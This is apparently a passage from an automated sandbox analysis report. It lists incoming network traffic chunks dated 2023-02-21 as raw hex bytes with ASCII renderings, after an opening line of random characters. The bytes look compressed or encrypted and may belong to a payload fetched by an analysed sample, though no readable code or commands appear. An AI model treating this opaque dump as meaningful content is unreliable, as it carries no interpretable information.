-O*}<)mFd=_'ch-5JG9Q]#b8dooJ9+jq\EnW ;SW,Ysb1ky<73^17@obLVI2smG.oi>cKUXg6u\|OH$XZ>^pc8t@?1r&Ub`gwLFl\EWGESB`=tW:.`
2023-02-21 06:06:04 UTC	36	IN	Data Raw: ea ba 4f 11 42 cf 7f 2e 88 e1 50 0d e7 d8 92 39 37 4a 6b c4 9f b0 8c b6 f4 f1 00 f2 2f 50 78 01 14 5a 6a fd cb 91 3b 0f b9 57 19 53 a9 4f 02 39 ca dd 61 94 5d 0b af aa af 35 0b c3 01 70 a3 8a e2 4e 50 7a 01 b9 0d 0c 8a 7f 18 fa 67 b5 86 50 b0 8c 06 b3 af 1a d4 dd e8 8b 1e 57 8b 50 f9 2d a0 7c 7f b7 e9 d1 1a d2 90 fd be be df 64 2f 28 c2 e3 40 38 1d 35 a3 30 9e 72 a8 d9 53 8b 74 7c 47 9b aa 6d de 82 b2 9b 14 2b 67 c7 6e f6 f9 62 77 ae 3a 05 3d 41 cf 44 b3 73 65 ba 84 2a cd d1 61 75 09 1f 72 fc a1 b4 04 a5 4b ed 32 cc c4 6b f0 e2 93 a5 20 c4 e2 52 e0 55 bb 60 21 33 c1 c7 c2 5d 1c d1 6a ea 74 71 01 ba cd d7 bb cc 60 91 58 89 dc 15 a6 9d df 46 45 f7 0d 05 28 a5 d3 1d 42 cc e4 77 71 fc 5b 35 a7 41 7c ec 1d b9 8f 12 2c ff de 98 99 60 9a fb 4a eb b8 2b d4 ad f3 Data Ascii: OB.P97Jk/PxZj;WSO9a]5pNPzgPWP-\|d/(@850rSt\|Gm+gnbw:=ADse*aurK2k RU`!3]jtq`XFE(Bwq[5A\|,`J+
2023-02-21 06:06:04 UTC	38	IN	Data Raw: 51 56 a9 c2 3c b7 3b 01 53 5a ab c3 c3 ae 92 48 a0 6a 7d c8 73 90 f7 c1 8b 78 a3 90 8c ae 8e bf 32 18 01 46 6f 05 cc 9f 1b 83 28 5d cd 4c 97 fc 92 d1 7f 3e dc 68 da 29 ee 6d 44 36 05 b9 37 37 06 bd c9 5c 60 e4 70 f0 3d 8a fb 6d 34 1a 4e 2f 76 eb e9 6c c5 b1 2d bd 64 33 26 76 9d 71 0a 93 f4 2b 63 08 35 c1 1d 63 1d ba 15 94 16 76 2b cd fc ac ac d4 82 74 fb ff 36 1d db 1b 1f 31 be 68 87 6b 81 fa 8b 14 00 2b 7e 73 b1 b8 3a 14 58 db 6f f5 19 84 50 a7 09 f1 69 79 ee 83 81 06 58 fc 22 8b 35 7a ca 48 d0 c5 88 ed f6 f9 db 34 88 bf 33 79 06 f2 bb fd 6d da d9 8b 27 88 e5 b3 7b 9d d2 38 f0 1f d2 5f 6f da 26 e7 6f 48 cf 7d 91 4a 5a 0f c3 ec 29 2e ed f6 1b a3 69 ab 5b c6 16 dd a8 b1 7c f6 03 a0 e8 4d fe 46 65 ab b2 54 fe c9 18 b7 57 be 75 d2 16 4d fd 8c da 27 33 52 d1 Data Ascii: QV<;SZHj}sx2Fo(]L>h)mD677\`p=m4N/vl-d3&vq+c5cv+t61hk+~s:XoPiyX"5zH43ym'{8_o&oH}JZ).i[\|MFeTWuM'3R
2023-02-21 06:06:04 UTC	39	IN	Data Raw: fe 2f a5 34 e2 16 de 61 d9 33 22 c9 aa 2a 1e 65 4c a0 fb 15 01 b7 11 0a 71 fa fa f1 8d 68 49 cf 56 f7 83 d7 3c d6 52 37 27 3d 0c 37 0f 0e e7 e4 19 2a e5 48 a5 a8 c2 73 09 51 fe 66 df 87 aa ea b7 da 3f 4b c8 04 bc 5f 3d 56 e0 d6 c2 1b a8 ac 32 c9 1a 37 fb cb 80 bb d4 02 e2 4d d3 3c 4a 73 ac 20 77 f2 12 f4 07 cc c7 ee 98 25 be 11 eb 67 af 94 93 41 00 70 fb 2c 31 5a 0e 0d b9 b3 8e 9a 81 29 5e 4d 0f 44 8c 47 77 53 8b 8c 57 0c de ec aa 26 ef 31 2d dc 80 98 6b 07 42 24 9b fa 6c eb 37 41 08 55 94 50 c7 35 72 0f 76 92 43 0e 7b 5b 34 da 7a 16 6b c8 8f 5f 40 e5 4b c3 ff cf 0c eb c3 77 ea 5f 2c a6 ed c5 2f 4f db 40 3c 1d 45 e3 16 1b 63 4d 7c 0b 04 c7 7d 53 19 10 50 d6 6f cd f1 58 49 45 50 bd 6f b1 e9 79 ea f2 64 ea 78 bc 19 18 5b 69 3d 38 b9 5e b7 1f 4f fb d7 6c 4c Data Ascii: /4a3"eLqhIV<R7'=7HsQf?K_=V27M<Js w%gAp,1Z)^MDGwSW&1-kB$l7AUP5rvC{[4zk_@Kw_,/O@<EcM\|}SPoXIEPoydx[i=8^OlL
2023-02-21 06:06:04 UTC	41	IN	Data Raw: 5c fd 99 2f 96 06 c2 ff 0c e8 37 0c cf 9f fc 0a 9e a7 b3 a2 be 1d 48 7b 17 a8 51 2e 87 b3 58 fd e9 f9 a8 bf c0 a8 e9 51 d6 bf 1f 00 32 e9 17 b2 f6 79 45 77 ad b0 b4 36 1f aa 50 09 cd e6 74 ee d9 44 74 fa af c6 d6 bd be de d0 34 6f 49 40 e8 17 78 1d d2 2b 92 ac e9 cf 4f 39 a7 99 41 63 e3 2f 40 b4 e2 17 22 2a ad 43 36 be 6a 11 3e ad 8c 85 88 fb 29 c1 74 79 7f 33 f0 94 87 bc e3 99 cb 49 21 d9 a8 93 ef 2a 3d 8a 0a 83 b4 08 87 3e bd 77 a3 59 fe 8c 76 f7 2f c6 a2 82 6f cd ba 6f e8 6b 94 a7 e5 b9 2f 7a b7 7e 19 e1 52 c0 66 95 e4 47 e4 54 80 f3 41 38 f1 8b 11 df 7b bb 82 b7 65 7a 70 ef 3d dd e6 c2 96 62 68 cd 73 c4 b4 e6 96 b9 50 11 b7 47 57 cf 05 85 52 9c f6 68 a3 d6 a4 96 0d 5a 5f ce 25 63 7c bf b3 18 b9 4f a1 da 24 e6 2a d9 b0 63 91 d7 29 fd f5 cb 4d 40 d3 53 Data Ascii: \/7H{Q.XQ2yEw6PtDt4oI@x+O9Ac/@"C6j>)ty3I!=>wYv/ook/z~RfGTA8{ezp=bhsPGWRhZ_%c\|O$*c)M@S
2023-02-21 06:06:04 UTC	42	IN	Data Raw: c2 dd a3 2a fd d0 a8 d4 b6 97 b3 59 03 e3 8e 28 f1 73 a3 c4 6c b5 8f 2f c2 f3 9e 9d 21 e5 5f 86 cb bf 4c 2f ff 2a 5c fe 55 7a f9 d7 76 79 30 6f 32 db 9f 37 bf 29 18 e6 1b 1b e6 db 82 61 be b5 61 be 2b 18 e6 3b 1b e6 fb 30 bf 76 86 94 ff 10 2e ff 21 bd fc c7 82 69 fc 68 d3 f8 a9 60 98 9f 6c 98 9f 0b 86 f9 d9 86 99 53 30 cc 1c 1b 66 6e 98 5f 3b 43 ca 7f 29 18 c7 2f 36 8e 5f c3 38 7e 4d c7 f1 5b b8 fc b7 f4 f2 79 05 d3 98 67 d3 f8 3d 8c e3 f7 74 1c f3 c3 e5 f3 d3 cb ff 08 97 ff 91 5e be 20 5c be 20 bd 7c 61 b8 7c 61 7a f9 9f 05 cb f0 a7 2d c3 a2 30 8e 45 e9 38 fe 0a 97 ff 95 5e be 38 5c be 38 bd 7c 49 c1 3c 2c b1 79 58 1a c6 b1 34 1d c7 b2 82 71 2c b3 71 2c 0f e3 58 9e 8e 63 45 b8 7c 45 7a f9 ca 82 69 ac b4 69 ac 0a e3 58 95 8e 63 75 b8 7c 75 7a f9 9a 82 69 Data Ascii: Y(sl/!_L/\Uzvy0o27)aa+;0v.!ih`lS0fn_;C)/6_8~M[yg=t^ \ \|a\|az-0E8^8\8\|I<,yX4q,q,XcE\|EziiXcu\|uzi
2023-02-21 06:06:04 UTC	43	IN	Data Raw: 7d 17 e2 b3 9b 05 fb 94 85 e3 69 eb f9 59 eb 79 88 f5 3c d4 7a 7e c9 7a 1e 6e 3d bf 62 3d 5f 63 3d 5f 67 3d b7 fe 7f 08 bb d2 c0 a8 8a 6c 7d 13 3a 40 c2 92 34 0c 61 a7 c3 a0 b1 91 c5 87 88 dc f0 90 a8 20 02 c2 68 04 89 b2 07 54 44 94 86 46 59 44 65 14 32 a8 20 88 80 02 03 b2 29 2a 8e a2 f2 74 74 18 79 22 22 f2 58 82 b2 af b2 48 90 b0 9b 88 ec 99 f3 7d e7 de ea db 9d c4 f7 03 72 bb ea 6c 75 ce a9 aa 53 75 6f 9d f2 3c 67 79 9e bb 7b 9e 1f f0 3c 3f 14 d3 a6 d7 63 da f4 61 cc ef 1e 31 bf 1f 70 6d 83 af 0e 9c 1c b6 d9 1e fa bd 3d cf 7d 3d cf 83 62 f8 ce 8c a1 3b cb a3 cb c1 1e bc 21 9e e7 a1 9e e7 47 3c cf 23 3c cf 23 3d cf 4f 7b 9e c7 c6 f0 9f 1d c3 7f 6e cc ef a7 3c f2 84 62 70 e7 c5 c0 8e 89 f9 fd d7 98 df c3 63 7e 0f 8e f9 9d 13 f3 fb f1 98 df 03 3c b2 3c Data Ascii: }iYy<z~zn=b=_c=_g=l}:@4a hTDFYDe2 )*tty""XH}rluSuo<gy{<?ca1pm=}=b;!G<#<#=O{n<bpc~<<
2023-02-21 06:06:04 UTC	45	IN	Data Raw: e4 79 99 d4 ef 15 79 96 89 0d 64 32 b4 64 41 60 25 4a db ba 89 cd da 8b bf 9e 68 aa d7 fc ec 10 da 19 e2 1b 6b 45 27 3d 84 5e 03 e1 f3 a2 fc ee 21 f2 dc 25 32 0e 93 7e 56 43 70 3a 48 9b 37 62 54 96 7f 99 e2 2b 63 c1 43 68 b4 15 f9 ab 09 7c 57 69 df 43 d2 17 ea 8a 4d 1b 88 ec 97 44 96 e1 62 af b5 42 ff 9a b4 e9 80 b4 e5 58 73 7d e7 5d 5e e8 ee 92 ba 67 45 59 1f 0a ee dd 62 97 7f 0a bf 67 44 3f 5f 89 8c 29 f2 b7 8e d8 ff 88 e0 4d 90 be 33 4c 7c 6f ad e0 d6 c4 78 23 b6 c1 97 46 93 a5 7d 3b 04 f7 53 d1 59 47 f9 57 45 e4 5b 2c f4 86 88 6f c4 4b 5b 6a 88 1e 16 60 9c 13 bb 6c 96 bf f3 45 e6 49 a2 a7 56 c2 6b ad d8 f0 49 f1 ef 45 22 63 03 91 e3 80 c8 13 14 d9 f7 8a 6d 96 88 8d bf 92 df 0f 4a df 1c 25 78 a3 84 6e 6d c1 39 2b 38 e5 c4 4e ed ae d7 09 66 8a 28 4f 06 Data Ascii: yyd2dA`%JhkE'=^!%2~VCp:H7bT+cCh\|WiCMDbBXs}]^gEYbgD?_)M3L\|ox#F};SYGWE[,oK[j`lEIVkIE"cmJ%xnm9+8Nf(O
2023-02-21 06:06:04 UTC	46	IN	Data Raw: 79 9e 31 5b 6b d3 e9 d6 20 e3 72 da db e0 f2 05 b3 02 d2 4e ce 69 88 fe a6 03 cd 23 18 e2 24 7b ba 26 0f 84 f2 1d df be dd ed a6 e1 b3 c6 a1 9c b3 e4 60 3f 47 07 9c f3 be b2 c7 d3 6b 20 6c 33 b9 48 45 67 70 c9 44 d1 f5 67 cd 90 5a 22 ba 88 eb 1f 7d 50 ef 5e 20 14 9d 29 76 27 bb d4 60 02 84 9b 81 e2 fd 5a 7c e9 0f 44 a8 6a fc fd e3 33 9c ff 88 12 ca 02 4a e4 04 f4 97 a0 36 4d ab fe 0e 9f aa 95 36 33 2e 2a 98 6c c9 60 92 41 94 33 38 d3 81 38 d6 2d 06 76 96 ca 02 57 e7 27 f7 9c ce ed 06 29 96 1b 63 96 88 e7 5a c7 b4 94 49 41 93 ce 70 dc 0d 67 f7 77 a6 0d cd 1b 53 78 3a 92 48 06 5e 46 bb ec 39 0d 58 cb 99 76 87 00 7d c3 69 8f e3 63 9c 0a d6 80 b6 9e 30 8e b1 ec 34 b4 b0 90 60 ce f1 29 30 c1 fa c8 9e 4a 7a a5 1c 6f d5 38 72 49 2a db 82 ae 18 9e 06 f1 18 45 dd Data Ascii: y1[k rNi#${&`?Gk l3HEgpDgZ"}P^ )v'`Z\|Dj3J6M63.l`A388-vW')cZIApgwSx:H^F9Xv}ic04`)0Jzo8rIE
2023-02-21 06:06:04 UTC	47	IN	Data Raw: 80 59 b9 ed ec 23 46 93 4c 10 ae 1b 79 f9 96 33 cf dd a2 22 62 8e 08 df 93 e3 8e 99 bf 02 b3 be 56 61 0d cc db 74 d4 ee eb 2d d7 7d ae 32 1d 33 46 4d fb 57 4d af fc 6a a9 66 d5 51 72 be c1 5b 0b 3c 7b a5 26 6b 86 56 03 f5 b5 81 45 06 64 31 41 66 03 a4 b4 4b 15 9c 88 df a2 ea b1 26 d4 7c 82 9c f9 72 dd 96 f5 52 06 18 8b fc c9 4c 96 1a d9 94 e2 a7 1d 36 ae aa b4 e2 d3 e2 e4 4f da 23 f1 6e 7e 81 7b a0 80 76 68 55 bd c3 a6 c3 bb f7 e5 b1 53 e3 62 24 bb f8 90 51 1c a7 76 5a cd 13 d4 5c 00 85 3d 4c b5 2c ee 14 a8 ee 99 f8 8f a3 ea 7f 15 1f f3 25 a3 bd c0 08 cf 09 e9 ae 0d e8 1e 91 a1 c6 b9 7c 61 20 38 e7 7a 38 97 e8 dd b8 ea 8e cd ef 4d 28 4e 5c c1 72 d2 6e cd 66 d4 42 f7 fe 03 3d a2 62 c1 ee f4 7f ca 1a 17 18 1f e5 fc d5 e9 a8 ba 16 eb 09 8e e7 8d 17 5e 3d 08 Data Ascii: Y#FLy3"bVat-}23FMWMjfQr[<{&kVEd1AfK&\|rRL6O#n~{vhUSb$QvZ\=L,%\|a 8z8M(N\rnfB=b^=
2023-02-21 06:06:04 UTC	49	IN	Data Raw: ae c3 96 ad 87 df ef 96 d3 fd eb 28 42 4a 24 b0 e1 c5 29 6e 6e 33 70 2e 67 3a ef b9 ed 1c ff b6 13 e5 9c eb 02 fa 0e 3d 22 a9 df d8 67 35 e0 f5 2b 8c cf b7 c7 d8 98 af b2 74 6b a1 0f 86 71 37 4f 3c 28 74 03 c6 44 c5 40 48 c9 4b c8 35 03 19 02 16 7b c8 76 fa 43 20 85 ee e1 31 e9 32 e3 ad 1d 29 6a 5b 02 ba 37 24 70 35 cd 56 5f 47 da a1 f1 02 19 ae 32 d0 5d 0f 0e 36 2a ae 48 c1 77 83 d7 d5 6d c5 66 36 99 0b e1 78 f9 c8 b1 6d 1c 51 1a a8 77 54 30 6c f3 b6 01 11 5b dc f6 b7 db 8c 9a 02 c9 ca bf 93 d1 e4 bb 80 b3 e7 93 4a b9 70 ed 81 6e 7f d8 05 cc 57 88 c9 09 46 47 83 24 4f 5c d5 47 3f 5e 42 f4 c4 bb ab 55 f4 87 0c e5 6e a4 dc 5e 49 78 76 6b 7e 75 d5 cd 04 70 76 ba 02 60 e3 25 78 0c ff f1 63 9f a6 a8 aa a4 82 23 ca 0c 34 d4 90 e8 b1 6a 91 7b 43 b9 61 a8 c9 b0 Data Ascii: (BJ$)nn3p.g:="g5+tkq7O<(tD@HK5{vC 12)j[7$p5V_G2]6*Hwmf6xmQwT0l[JpnWFG$O\G?^BUn^Ixvk~upv`%xc#4j{Ca
2023-02-21 06:06:04 UTC	50	IN	Data Raw: 38 f8 fb fd db 32 73 b1 83 7b ee 8a a8 09 ee ca f4 47 58 c6 84 fe e4 5b d2 c3 31 03 bd f8 25 58 bc a1 f9 3c f6 2d 6a 1e 0b 86 ee e4 6f 4d bf c1 4b 85 f5 48 f5 f7 3c a6 91 e1 9d b2 7a 1f 80 03 bf 0d 94 31 02 94 78 b9 6d 37 a6 d6 e4 47 9e 7a 89 33 c5 76 41 c0 3d 4e 71 e3 48 92 75 73 66 6f 94 ab a9 59 15 cd 34 88 37 bd ab 6e 0f 7c 83 c2 ff 7c 43 08 ec 13 79 47 f8 fa f8 e8 8b 57 03 42 af ac ff 41 c1 e0 b3 e8 7e 2c 6e 37 50 26 de 23 9e 57 09 c0 b3 b4 91 95 b0 7f 0c bb 93 88 0f 53 6f 77 9c e2 83 cb 52 50 59 07 ea 2b 0c 67 57 10 63 2f c5 38 e4 48 8c 2f 1b c8 13 09 d9 42 21 e1 9e e9 e9 7a b7 9b 36 6c 9e 98 c3 c5 5d ac 19 d7 85 03 8e 1b 2e d5 60 bb 40 43 bb e7 9b 4a d6 05 96 6c 75 a2 1f d6 13 bd a5 63 fc 86 e9 e2 1a 2f 8c ef bd 43 2d 07 bd 9f fb b6 22 c1 6e 55 84 Data Ascii: 82s{GX[1%X<-joMKH<z1xm7Gz3vA=NqHusfoY47n\|\|CyGWBA~,n7P&#WSowRPY+gWc/8H/B!z6l].`@CJluc/C-"nU
2023-02-21 06:06:04 UTC	51	IN	Data Raw: 0f 92 e7 bb 55 1e f2 37 d0 f1 4c 2b d0 5d d1 f5 84 1a 50 c6 a0 d4 f7 22 2f 30 ae 0b 98 77 16 f3 8a 50 1b 2a f3 49 65 1a ba 5b d5 10 18 74 03 82 e7 db dc 04 9b 04 71 66 32 7c 24 f4 f5 4f 54 5f 58 21 a1 be 8c 58 c8 35 fa 42 5f f2 a2 fc 61 ab 1e cc c3 9b 93 5e dc c1 07 34 1f 83 29 2c c0 88 82 be b0 14 44 66 bf 50 f9 ff f1 9b 96 b2 fa 0a b9 79 9a ac fe 43 56 19 1b c5 7f 09 6c 49 04 07 06 4b ad d7 b1 68 7f 4f 07 c9 a6 e8 e9 4c 1d 23 28 09 83 9b 5a 5a 3c 99 05 da f8 05 9a a1 00 17 fb a1 2f a9 e2 e2 4d 28 24 ce 27 da d8 ce a8 5e e0 9f d6 09 ec c8 b1 62 98 03 09 46 59 ec 6a a2 8f e9 e0 68 7b eb ef e9 c8 c5 a6 07 23 88 83 49 b7 2f df 8a e0 f8 04 01 d1 df 53 bb fa dc a8 2d 5d db c7 33 54 cd 4e 27 88 b8 4e e1 27 42 16 2a c3 1d 5b 16 5c c5 e0 1e 27 29 a2 e5 9d a6 d5 Data Ascii: U7L+]P"/0wPIe[tqf2\|$OT_X!X5B_a^4),DfPyCVlIKhOL#(ZZ</M($'^bFYjh{#I/S-]3TN'N'B[\')
2023-02-21 06:06:04 UTC	53	IN	Data Raw: 0f e9 cc d0 2f 78 ff 35 8a c2 66 8d fb 08 52 6b 55 b7 e2 7d 16 df 49 4a 5c 40 1a 75 20 b0 31 44 8c f0 04 8d 72 e9 98 b2 67 1d 30 bd 5b 7b 60 5e bb 4d 3a 49 9e 08 f3 c2 cc eb 57 28 a4 9f 6f 74 1b 84 99 f7 35 57 77 20 af aa 48 65 7e c0 ee ae df 4f 64 bb 0c b2 5c a4 2e d8 1f 60 c0 81 74 3d 4a 78 84 ee 33 d9 95 04 5d 18 37 9a dd fb 80 b2 b4 e5 40 46 d9 af e9 78 dd ce 70 12 52 3c 54 6d 8e b1 f3 20 cc bc a9 ef 04 b6 c3 1f 4b c5 35 c6 0e b7 99 22 e3 90 3a 11 c6 d2 cc 6a c3 8c 99 cf 6e f4 88 8e 88 9b 38 7f ed 23 ec bd 4c a9 6f b8 58 b1 0f 5c 2c dc 17 88 d4 06 6c 62 2d c9 9d b9 2f 40 9f c6 ea db 1f e2 cd bb 5f 60 84 70 b1 d6 15 d8 91 0d bd 18 f8 0e 63 e0 a7 d9 31 f0 eb 3b 9e 0b b0 76 f4 01 ff 2e 3a 32 b0 7a 2f 18 f8 71 af 67 6c ee 6f 7b 39 18 fb 31 f0 d1 40 10 0c Data Ascii: /x5fRkU}IJ\@u 1Drg0[{`^M:IW(ot5Ww He~Od\.`t=Jx3]7@FxpR<Tm K5":jn8#LoX\,lb-/@_`pc1;v.:2z/qglo{91@
2023-02-21 06:06:04 UTC	54	IN	Data Raw: 16 82 77 a1 d8 ec 75 02 93 29 fc ac 14 9d bd 0a 7e 44 1f 6f 48 bd 7d 20 fa 6e 52 5b af 18 9c 27 f5 dd 59 fe ff 5c 74 7e ae c0 dd 2d f8 87 08 dc 2d 92 de 58 74 d0 49 68 f7 13 1c 9f 0b 5f 09 b1 a5 be c2 4f 2f e1 f5 1b e1 27 53 f4 53 a9 81 c6 62 7f 52 e4 ba b6 9a ae f9 ac 95 3a fc 49 e4 4d 97 f4 26 5e 47 b8 4b fe 6b 25 f2 fc 2d e9 5f 0a 9d c9 a2 bf 97 a5 fc 74 29 f3 ac c0 d4 68 21 b4 44 ee 37 24 ff 03 91 ab 9b c8 f0 b2 c0 9c 29 b4 3a 0a 1f 4b 44 c6 9b 85 e6 6f c2 e7 f1 c2 db 0d 82 63 b9 f0 fa aa c8 3f 27 5b 9d fa d7 45 67 47 cb 73 a6 d0 3f 11 f5 25 30 17 88 4e 26 08 ff 6f 4b 7a a9 e0 ea 24 65 df 10 19 aa 09 ae 5f 25 6f b1 d0 79 4b d2 3b 57 d0 b8 f1 3f 89 6e 5a 89 3e 8e 17 5e f6 88 1d a1 5f 79 5b f4 78 a5 d4 fd d9 22 cf c9 82 7b 89 c8 f1 4d 4d bd c7 e1 80 94 Data Ascii: wu)~DoH} nR['Y\t~--XtIh_O/'SSbR:IM&^GKk%-_t)h!D7$):KDoc?'[EgGs?%0N&oKz$e_%oyK;W?nZ>^_y[x"{MM
2023-02-21 06:06:04 UTC	55	IN	Data Raw: 72 30 b7 fb 1f 53 c5 e9 c9 3f 63 de 47 07 fc a4 de 5d fd 0f a5 ab 99 fc 0c 92 dd 59 cd f1 dd b2 c8 11 7c ae a3 f0 3e 0d f7 25 45 f7 3d f8 ad a1 3a e0 d9 ee c9 9a fe 91 6f 49 1a 5d f4 26 4d 3d 1d 0a 3f 48 d3 4a 53 62 fc 3c d7 ed 4d fa 69 05 47 15 b4 b1 74 53 c1 18 70 d1 3f 10 bc a5 22 c1 58 57 2b b9 03 9c fe 5e 01 a8 b2 4a e7 98 f6 8c 35 09 37 e7 9f a0 bb 79 1e a9 ab 8c 0a 77 fc 0d 4c 9b fe 36 16 a6 df 19 e5 a8 85 d5 33 70 f3 01 a7 3b 1d 9f 01 18 71 cd c9 ef 1a 63 84 d3 ff 36 ae ce 63 c4 a7 71 d8 de 05 54 0e 52 ef 60 2a 3d 3b af 70 75 83 7f 10 f9 e8 47 d4 31 4f ef 2b e9 56 71 a8 f5 e3 ab 7d 6a 0a 9c c0 02 c7 b2 80 8f ae be e9 bc 6a 91 97 aa 10 be b2 52 fd 30 66 3a 41 0c 0c fa 51 48 1b d8 7a 42 bc 57 d3 f7 4f 32 e2 2c df c1 fe 6f 47 20 c9 0c 30 f5 3c 47 d2 Data Ascii: r0S?cG]Y\|>%E=:oI]&M=?HJSb<MiGtSp?"XW+^J57ywL63p;qc6cqTR`*=;puG1O+Vq}jjR0f:AQHzBWO2,oG 0<G
2023-02-21 06:06:04 UTC	57	IN	Data Raw: a3 77 45 c1 7b 7a 3e b9 15 b5 58 a6 67 c5 30 e2 71 1e 94 fc 19 82 14 f9 06 b4 7b 63 d0 92 31 0e 31 00 78 a0 77 77 ef 61 ed 22 d1 7c 43 13 de 73 14 ef de 98 15 51 84 93 32 e3 aa 15 3d b5 11 3a 9a a6 14 e0 3e d6 d1 86 b9 d0 98 e4 18 42 0c 53 08 cc bc c4 88 f1 b9 71 d4 88 7b f9 ec 9e b9 d1 b7 c9 8c c2 01 06 cd f1 44 d3 6c a3 b1 65 9e 42 71 71 ba 14 33 f5 a3 0a 4a 2c e3 3c cf e7 af f8 d0 6f 30 4e 44 7a 71 77 fe c6 b2 18 7d 79 52 c5 fd 47 7b 74 54 05 23 33 e8 dc 77 9d 21 39 fb 37 d6 bf 16 3b 14 c3 00 76 23 b4 7b 18 24 1e 83 11 30 b6 7a 22 a7 b4 cd 35 fe 7c 7a 4d 02 fc c4 0a 6e 0a 29 f2 db ed a6 e3 2a cf 22 ff 33 64 cf 26 d9 0e bf 99 56 cf 80 1e 1a ab 77 13 47 fc e4 0f 29 11 69 03 bb 1d 8c c5 b5 34 96 9c 0b 12 da e5 5e 8a f4 ed bf 22 3d 2f 19 83 f7 51 82 94 35 Data Ascii: wE{z>Xg0q{c11xwwa"\|CsQ2=:>BSq{DleBqq3J,<o0NDzqw}yRG{tT#3w!97;v#{$0z"5\|zMn)*"3d&VwG)i4^"=/Q5
2023-02-21 06:06:04 UTC	58	IN	Data Raw: 51 37 b4 7a b1 8b f6 af 6c ac 49 a9 32 ed 5d a6 b1 fe 57 92 23 0c f3 a5 77 5e e3 6f 95 3c 80 ac 5f 34 0b fd 58 41 75 b5 8d 77 91 3e 9f e9 3a 4f 86 67 a4 77 de fc aa 03 3f 76 6c d5 55 3e d6 5a 4e 5a c6 45 60 35 c3 60 d9 bd 05 b0 8d 5a 69 ac 47 ef da ba d6 28 f4 d2 95 50 e8 85 00 90 c9 ea 4c 33 09 fd 13 e5 3a 2a 17 0b c1 f8 df 26 6b 0e b2 1a 6b 16 37 50 e9 6b 5b ac 68 4c 4e 1a 4a d9 0a a0 df bd 82 f4 b1 f3 77 c4 4a 8e df 31 2e f9 1f 5a dc 01 8a ef af 30 95 4e af 87 47 34 ac 0a 2b 34 44 ef 06 d1 42 2e fe dd a2 94 e1 0d 15 14 15 5c 63 cd 39 57 a9 37 51 16 83 a9 51 69 34 a1 f9 28 d5 25 20 e5 b5 68 1c 90 d1 e6 98 66 5c 8e 06 94 2d 5f 61 7f 34 8a b0 b7 17 9f 36 3c fd b7 1c c0 db 18 2d 8c 96 1d 04 0f a2 57 7b 06 e8 2e 66 a0 a8 f4 d2 fd 46 d7 9b 1c af 17 7d 97 25 Data Ascii: Q7zlI2]W#w^o<_4XAuw>:Ogw?vlU>ZNZE`5`ZiG(PL3:*&kk7Pk[hLNJwJ1.Z0NG4+4DB.\c9W7QQi4(% hf\-_a46<-W{.fF}%
2023-02-21 06:06:04 UTC	59	IN	Data Raw: d4 53 41 0f 20 9b 28 3f 22 30 50 29 e3 34 9a 79 64 7c a6 ca f6 58 20 9b db 1c 65 40 33 e8 14 8b 1f 21 6b 54 df bd 6a 82 17 e3 79 39 05 69 a3 82 50 b4 eb d5 08 8b 71 e0 5e 2b b6 2f 64 1f 8b 9f 6a e0 c3 87 a6 66 3b 84 54 c5 ca 68 11 d2 bf 31 bb e2 a3 c8 6e 45 5f 2f 6d a3 7a c1 61 c0 a3 83 38 72 76 6c 9a 6c 4f 41 32 f6 d3 36 60 ec 8f 3b fa d1 1d 0e 85 8d b4 94 d4 d6 b7 0a 55 d2 2c 52 fd 90 62 22 cb af 7a 2a e5 85 a0 be 1e 05 d7 e9 c5 18 ee 55 0f 13 98 90 70 54 0c 2a 62 84 9f 04 61 dd a9 aa f8 47 8d e2 35 68 9f 7b 1e a1 8a a8 8b 4f a1 4c f7 aa 32 bb fd 15 b7 08 a8 d6 b7 f9 62 e5 54 f5 f5 73 7c b9 fa d1 be 28 aa 1f 8c b6 d8 6f 3e d7 d1 76 03 fa 38 c4 8a f5 4d f2 85 d9 3b 7a 44 20 56 79 e6 d9 f2 a8 9d bf e3 25 69 e0 3f 2a e2 69 d4 3c 40 95 c1 29 64 f9 78 4b 95 Data Ascii: SA (?"0P)4yd\|X e@3!kTjy9iPq^+/djf;Th1nE_/mza8rvllOA26`;U,Rb"zUpTbaG5h{OL2bTs\|(o>v8M;zD Vy%i?*i<@)dxK
2023-02-21 06:06:04 UTC	63	IN	Data Raw: 1d c7 bf 33 54 26 92 ca 38 82 27 3c 1e 46 9a dc 6b 98 7b 39 79 28 e9 05 1e ee f1 15 eb 7e 51 14 28 e6 7d 14 eb e0 d7 52 ab bf 8d e1 71 c9 55 c7 e3 fa e0 2b 9f 84 2a 16 5c 11 6a 12 ad 90 75 78 87 69 57 a5 4f 5d ef 0f f0 b7 a3 46 7e d3 2c 38 30 32 8e f1 0b fc c8 38 f6 2f 30 7c b6 c3 ef 46 6a b8 dc d0 4d 24 0a ea 6b 23 9e ea f3 f6 a0 a2 82 fb 54 e0 55 c8 74 90 b8 55 d3 8f c9 82 32 eb c6 bd 76 a2 1f 81 0c d8 11 c8 a3 da ee 69 00 ce 30 dd fe 29 3b a0 ab e3 01 9b c8 a4 45 db 32 ba cf b5 64 95 91 00 0d 58 cb 0f 03 f1 0c 25 70 4e 1c 7d d4 1c 56 22 92 b7 e1 6c 3d e3 96 92 cf de c6 70 96 6e 47 ef 70 16 78 fb 66 3b f9 a6 93 c5 e8 60 39 b0 8f a6 d0 a8 38 08 e5 54 ff 8b c0 3e 99 25 4b 06 82 95 75 50 ba e5 cd 14 f7 09 8d 28 8c 00 e1 f6 d3 02 3d e2 47 b4 cf 4e 46 09 45 Data Ascii: 3T&8'<Fk{9y(~Q(}RqU+*\juxiWO]F~,8028/0\|FjM$k#TUtU2vi0);E2dX%pN}V"l=pnGpxf;`98T>%KuP(=GNFE
2023-02-21 06:06:04 UTC	67	IN	Data Raw: 91 5f 05 9c 06 8a 7f 5a 81 b9 57 c3 e5 ac 64 26 78 e3 15 68 b7 33 8f 6e 72 b8 1e dc 85 dc 0f c9 f6 e6 92 63 81 a8 67 80 28 74 a7 d9 7b c8 74 35 13 f8 35 12 2f dd 72 44 e3 67 53 3d 4a 09 61 d5 5c 7d 8a 59 e1 a6 fe 1c b8 f9 77 7e a4 27 a9 a6 b5 73 21 32 57 6a 26 cf 22 f7 30 aa 6b 01 da 9f 69 d6 aa 23 a5 c0 47 43 9e 9d 95 57 a5 c7 01 c3 68 60 48 54 b5 a3 ba ab e7 dc de 37 c7 a2 5e f3 39 f8 03 fa dc f9 81 ac ed e2 7e 3c f9 07 74 b0 ab f7 3f 68 9d 89 d2 b9 5a 9a 9e 40 7d ed 35 aa 61 9b 36 51 25 88 37 4f da 23 21 f6 fa af 29 1b cc da f3 75 af 42 f2 b7 4c d6 c5 d1 7a 48 3d de 34 fd 37 bf 06 a3 18 42 dc 17 b4 30 fa ce d2 8e 39 be 47 fc 88 b1 